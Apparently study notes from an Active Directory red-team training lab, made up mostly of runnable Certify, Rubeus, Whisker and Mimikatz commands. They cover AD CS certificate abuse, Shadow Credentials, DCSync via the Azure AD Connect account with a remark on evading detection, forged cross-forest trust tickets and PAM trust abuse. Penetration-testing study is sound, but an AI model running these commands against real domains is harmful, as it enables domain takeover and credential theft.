ADCS

Active Directory Certificate Services (AD CS) enables use of Public Key Infrastructure (PKI) in active directory forest.

AD CS helps in authenticating users and machines, encrypting and signing documents, filesystem, emails and more.

AD CS is the Server Role that allows you to build a public key infrastructure (PKI) and provide public key cryptography, digital certificates, and digital signature capabilities for your organization.

  • CA - The certification authority that issues certificates. The server with AD CS role (DC or separate) is the CA.
  • Certificate - Issued to a user or machine and can be used for authentication, encryption, signing etc.
  • CSR - Certificate Signing Request made by a client to the CA to request a certificate.
  • Certificate Template - Defines settings for a certificate. Contains information like - enrolment permissions, EKUs, expiry etc.
  • EKU OIDs - Extended Key Usages Object Identifiers. These dictate the use of a certificate template (Client authentication, Smart Card Logon, SubCA etc.)

We can use the Certify tool to enumerate (and for other attacks) AD CS in the target forest:

Certify on GitHub

Certify.exe cas

Enumerate the templates:

Certify.exe find

Enumerate vulnerable templates:

Certify.exe find /vulnerable

Common requirements/misconfigurations for all the Escalations:

- CA grants normal/low-privileged users enrollment rights
- Manager approval is disabled
- Authorization signatures are not required
- The target template grants normal/low-privileged users enrollment rights

Escalation

  • In techcorp, the user pawadmin has enrollment rights to a template -ForAdminsofPrivilegedAccessWorkstations
  • The template has ENROLLEE_SUPPLIES_SUBJECT value for msPKI-Certificates-Name-Flag. (ESC1)
  • This means pawadmin can request certificate for ANY user.

Note that this does not show up when we enumerate vulnerable templates in Certify. Use:

Certify.exe find
Certify.exe find /enrolleeSuppliesSubject
  • We have the certificate of pawadmin that we extracted from us-jump. (THEFT4)

Use the certificate to request a TGT for pawadmin and inject it:

C:\AD\Tools\Rubeus.exe asktgt /user:pawadmin /certificate:C:\AD\Tools\pawadmin.pfx /password:SecretPass@123 /nowrap /ptt

Escalation to DA

Request a certificate for DA!

C:\AD\Tools\Certify.exe request /ca:Techcorp-DC.techcorp.local\TECHCORP-DC-CA /template:ForAdminsofPrivilegedAccessWorkstations /altname:Administrator

Convert from cert.pem to pfx:

C:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\Tools\cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\AD\Tools\DA.pfx

Request DA TGT and inject it:

C:\AD\Tools\Rubeus.exe asktgt /user:Administrator /certificate:C:\AD\Tools\DA.pfx /password:SecretPass@123 /nowrap /ptt

Escalation to EA

Request a certificate for EA!

C:\AD\Tools\Certify.exe request /ca:Techcorp-DC.techcorp.local\TECHCORP-DC-CA /template:ForAdminsofPrivilegedAccessWorkstations /altname:Administrator

Convert from cert.pem to pfx:

C:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\Tools\cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\AD\Tools\EA.pfx

Request EA TGT and inject it:

C:\AD\Tools\Rubeus.exe asktgt /user:techcorp.local\Administrator /dc:techcorp-dc.techcorp.local /certificate:C:\AD\Tools\EA.pfx /password:SecretPass@123 /nowrap /ptt

Shadow Credentials

Users and Computers have msDS-KeyCredentialLink attribute that contains the raw public keys of certificate that can be used as an alternate credential.

  • This attribute is used when we configure Windows Hello for Business (WHfB)

By default, Key Admins and Enterprise Key Admins have rights to modify the msDS-KeyCredentialLink attribute.

  • User to User (U2U) Service Ticket can be requested to decrypt the encrypted NTLM_SUPPLEMENTAL_CREDENTIAL entity from Privilege Attribute Certificate (PAC) and extract NTLM hash.

Pre-requisites to abuse Shadow Credentials:

- AD CS (Key Trust if AD CS is not present)
- Support for PKINIT and at least one DC with Windows Server 2016 or above.
- Permissions (GenericWrite/GenericAll) to modify the msDS-KeyCredentialLink attribute of the target object.

Abusing User Object

Enumerate the permissions:

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "StudentUsers"}

Add the Shadow Credential:

Whisker.exe add /target:supportXuser

Using PowerView, see if the Shadow Credential is added.

Get-DomainUser -Identity supportXuser

Request the TGT by leveraging the certificate:

Rubeus.exe asktgt /user:supportXuser /certificate:MIIJuAIBAzCCCXQGCSqGSIb3DQEHAaCCCW.... /password:"1OT0qAom3..." /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /getcredentials /show /nowrap

Inject the TGT in the current session or use the NTLM hash:

Rubeus.exe ptt /ticket:doIGgDCCBnygAwIBBaEDAgEW...

Abusing Computer Object

Enumerate the permissions:

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match 'mgmtadmin’}

Add the Shadow Credentials:

C:\AD\Tools\SafetyKatz.exe "sekurlsa::pth /user:mgmtadmin /domain:us.techcorp.local /aes256:32827622ac4357bcb476ed3ae362f9d3e7d27e292eb27519d2b8b419db24c00f /run:cmd.exe" "exit"
Whisker.exe add /target:us-helpdesk$

Using PowerView, see if the Shadow Credential is added:

Get-DomainComputer -Identity us-helpdesk

Request the TGT by leveraging the certificate:

Rubeus.exe asktgt /user:us-helpdesk$ /certificate:MIIJ0AIBAzCCCYwGCSqGSIb... /password:"ViGFoZJa..." /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /getcredentials /show

Request and Inject the TGS by impersonating the user:

Rubeus.exe s4u /dc:us-dc.us.techcorp.local /ticket:doIGkDCCBoygAwIBBaEDAgEW... /impersonateuser:administrator /ptt /self /altservice:cifs/us-helpdesk

Azure AD Integration

Azure AD is a popular method to extend identity management from on-premises AD to Microsoft’s Azure offerings.

  • Many enterprises use their on-prem AD identities to access Azure applications.

A single user identity for authentication and authorization to all resources, regardless of location is hybrid identity.

An on-premises AD can be integrated with Azure AD using Azure AD Connect with the following methods:

- Password Hash Sync (PHS)
- Pass-Through Authentication (PTA)
- Federation

Azure AD Connect is installed on-premises and has a high privilege account both in on AD and Azure AD!

PHS

Let’s target PHS.

  • It shares users and their password hashes from on-premises AD to Azure AD.
  • A new users MSOL_ is created which has Synchronization rights (DCSync) on the domain!

Alt text

Enumerate the PHS account and server where AD Connect is installed

Using PowerView:

Get-DomainUser -Identity "MSOL_*" -Domain techcorp.local

Using the ActiveDirectory module:

Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server techcorp.local -Properties * | select SamAccountName,Description | fl

We already have administrative access to us-adconnect as helpdeskadmin.

With administrative privileges, if we run adconnect.ps1, we can extract the credentials of the MSOL_ account used by AD Connect in clear-text:

.\adconnect.ps1

[Note] The above script’s code runs powershell.exe so verbose logs (like transcripts) will be there.

With the password, we can run commands as MSOL_:

runas /user:techcorp.local\MSOL_16fb75d0227d /netonly cmd

And can then execute the DCSync attack:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:us\krbtgt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:techcorp\krbtgt /domain:techcorp.local"'

[NOTE] Because AD Connect synchronizes hashes every two minutes, in an Enterprise Environment, the MSOL_ account will be excluded from tools like MDI!

This will allow us to run DCSync without any alerts!

Forest Root

  • Child to Forest Root - Trust Key
  • Child to Forest Root - krbtgt

same material of CRTP:

CRTP - Privesc Across Trusts

Kerberoast across Forest Trusts

It is possible to execute Kerberoast across Forest trusts.

Let’s enumerate named service accounts across forest trusts

Using PowerView:

Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'} | %{Get-DomainUser -SPN -Domain $_.TargetName}

Using ActiveDirectory Module:

Get-ADTrust -Filter 'IntraForest -ne $true' | %{Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName -Server $_.Name}

Request a TGS:

C:\AD\Tools\Rubeus.exe kerberoast /user:storagesvc /simple /domain:eu.local /outfile:euhashes.txt

Check for the TGS:

klist

Crack using John:

john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\hashes.txt

Request TGS across trust using PowerShell:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/eu-file.eu.local@eu.local

Delegations

Constrained Delegation with Protocol Transition

The classic Constrained Delegation does not work across forest trusts. But we can abuse it once we have a foothold across forest trust.

Using PowerView:

Get-DomainUser TrustedToAuth -Domain eu.local
Get-DomainComputer TrustedToAuth -Domain eu.local

Using ActiveDirectory module:

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server domain.local

We can request an alternate ticket using Rubeus:

C:\AD\Tools\Rubeus.exe hash /password:Qwerty@2019 /user:storagesvc /domain:domain.local
C:\AD\Tools\Rubeus.exe s4u /user:storagesvc /rc4:5C76877A9C454CDED58807C20C20AEAC /impersonateuser:Administrator /domain:domain.local /msdsspn:nmagent/dc.domain.local /altservice:ldap /dc:dc.domain.local /ptt

Abuse the TGS to LDAP:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local"'

Or

C:\AD\Tools\SharpKatz.exe --Command dcsync --User domain\krbtgt --Domain domain.local --DomainController dc.domain.local
C:\AD\Tools\SharpKatz.exe --Command dcsync --User domain\administrator --Domain domain.local --DomainController dc.domain.local

Unconstrained Delegation

Recall the Printer bug and its abuse from a machine with Unconstrained Delegation

  • We have used it to escalate privileges to Domain Admin and Enterprise Admin.
  • It also works across a Two-way forest trust with TGT Delegation enabled!

TGT Delegation is disabled by default and must be explicitly enabled across a trust for the trusted (target) forest.

To enumerate if TGTDelegation is enabled across a forest trust, run the below command from a DC

netdom trust trustingforest /domain:trustedforest /EnableTgtDelegation

In the lab, this is to be run on usvendor-dc

netdom trust usvendor.local /domain:techcorp.local /EnableTgtDelegation

The PowerShell cmdlets of the ADModule seems to have a bug, the below command shows TGTDelegation set to False:

Get-ADTrust -server usvendor.local -Filter *

But when run from usvendor-dc, it shows TGTDelegation to be True

Across Forest using Trust Tickets

By abusing the trust flow between forests in a two way trust, it is possible to access resources across the forest boundary.

  • We can use the Trust Key, the same way as in Domain trusts but we can access only those resources which are explicitly shared with our current forest.
  • Let’s try to access a file share ‘eushare’ on euvendor-dc of euvendor.local forest from eu.local which is explicitly shared with Domain Admins of eu.local.

There is content about this in CRTP

Like intra forest scenario, we require the trust key for the inter-forest trust:

Invoke-Mimikatz -Command '"lsadump::trust /patch"'

or

Invoke-Mimikatz -Command '"lsadump::dcsync /user:eu\euvendor$"'

or

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

We can also use any of the earlier discussed tools to extract trust keys.

An inter-forest TGT can be forged:

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:eu.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /rc4:799a0ae7e6ce96369aa7f1e9da25175a /service:krbtgt
	/target:euvendor.local /sids:S-1-5-21-4066061358-3942393892-617142613-519 /ticket:C:\AD\Tools\kekeo_old\sharedwitheu.kirbi"'

Get a TGS for a service (CIFS below) in the target forest by using the forged trust ticket:

.\asktgs.exe C:\AD\Tools\kekeo_old\sharedwitheu.kirbi CIFS/euvendor-dc.euvendor.local

Tickets for other services (like HOST and RPCSS for WMI, HOST and HTTP for PowerShell Remoting and WinRM) can be created as well

Use the TGS to access the target resource which must be explicitly shared:

.\kirbikator.exe lsa CIFS.euvendor-dc.euvendor.local.kirbi
ls \\euvendor-dc.euvendor.local\eushare\

We can also use Rubeus:

C:\Users\Public\Rubeus.exe asktgs /ticket:C:\Users\Public\sharedwitheu.kirbi /service:CIFS/euvendor-dc.euvendor.local /dc:euvendor-dc.euvendor.local /ptt
  • This is fine but why can’t we access all resources just like Intra forest?
  • SID Filtering is the answer.
  • It filters high privilege SIDs from the SIDHistory of a TGT crossing forest boundary.
  • This means we cannot just go ahead and access resources in the trusting forest as an Enterprise Admin.

But there is a catch:

Alt text

Reference:

MS-PAC: Privilege Attribute Certificate Data Structure

This means, if we have an external trust (or a forest trust with SID history enabled -/enablesidhistory:yes), we can inject a SIDHistory for RID > 1000 to access resources accessible to that identity or group in the target trusting forest.

We had DA access to eu.local. Let’s enumerate trusts from a PSRemoting session on eu-dc:

Get-ADTrust -Filter *
  • SIDFilteringForestAware is set to True, it means SIDHistory is enabled across the forest trust.

Please remember that still only RID > 1000 SIDs will be allowed across the trust boundary:

Get-ADGroup -Identity EUAdmins -Server euvendor.local

From eu-dc, create a TGT with SIDHistory of EUAdmins group:

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:eu.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /rc4:799a0ae7e6ce96369aa7f1e9da25175a /service:krbtgt
/target:euvendor.local /sids:S-1-5-21-4066061358-3942393892-617142613-1103 /ticket:C:\Users\Public\euvendornet.kirbi"'

Request a TGS:

.\asktgs.exe C:\Users\Public\euvendornet.kirbi HTTP/euvendor-net.euvendor.local

Inject that into current session:

.\kirbikator.exe lsa HTTP.euvendor-net.euvendor.local.kirbi

Or

C:\Users\Public\Rubeus.exe asktgs /ticket:C:\Users\Public\euvendornet.kirbi /service:HTTP/euvendor-net.euvendor.local /dc:euvendor-dc.euvendor.local /ptt

Access the euvendor-net machine using PSRemoting:

Invoke-Command -ScriptBlock{whoami} -ComputerName euvendor-net.euvendor.local -Authentication NegotiateWithImplicitCredential

Trust Abuse (MSSQL Servers)

Same material as in the CRTP:

CRTP - Trust Abuse (MSSQL Servers)

Foreign Security Principals

A Foreign Security Principal (FSP) represents a Security Principal in a external forest trust or special identities (like Authenticated Users, Enterprise DCs etc.).

  • Only SID of a FSP is stored in the Foreign Security Principal Container which can be resolved using the trust relationship.
  • FSP allows external principals to be added to domain local security groups. Thus, allowing such principals to access resources in the forest.
  • Often, FSPs are ignored, mis-configured or too complex to change/cleanup in an enterprise making them ripe for abuse.

PowerView:

Find-ForeignGroup -Verbose
Find-ForeignUser -Verbose

Using ActiveDirectory module:

Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"}
  • Access to resources in a forest trust can also be provided without using FSPs using ACLs.
  • Principals added to ACLs do NOT show up in the ForeignSecurityPrinicpals container as the container is populated only when a principal is added to a domain local security group

Let’s enumerate ACLs for the dbvendor.local domain using the reverse shell we have on db.local:

Find-InterestingDomainAcl -Domain dbvendor.local

Abusing PAM Trust

PAM trust is usually enabled between a Bastion or Red forest and a production/user forest which it manages.

  • PAM trust provides the ability to access the production forest with high privileges without using credentials of the bastion forest. Thus, better security for the bastion forest which is much desired.
  • To achieve the above, Shadow Principals are created in the bastion domain which are then mapped to DA or EA groups SIDs in the production forest.

By enumerating trusts and hunting for access, we can enumerate that we have Administrative access in other forest.

From techcorp-dc:

Get-ADTrust -Filter *
Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -Server bastion.local

On bastion-dc, enumerate if there is a PAM trust:

$bastiondc = New-PSSession bastion-dc.bastion.local
Invoke-Command -ScriptBlock {Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}} -Session $bastiondc

Check which users are members of the Shadow Principals:

Invoke-Command -ScriptBlock {Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl} -Session $bastiondc

Establish a direct PSRemoting session on bastion-dc and access production.local:

Enter-PSSession 192.168.102.1 -Authentication NegotiateWithImplicitCredential

All attacks paths:

Alt text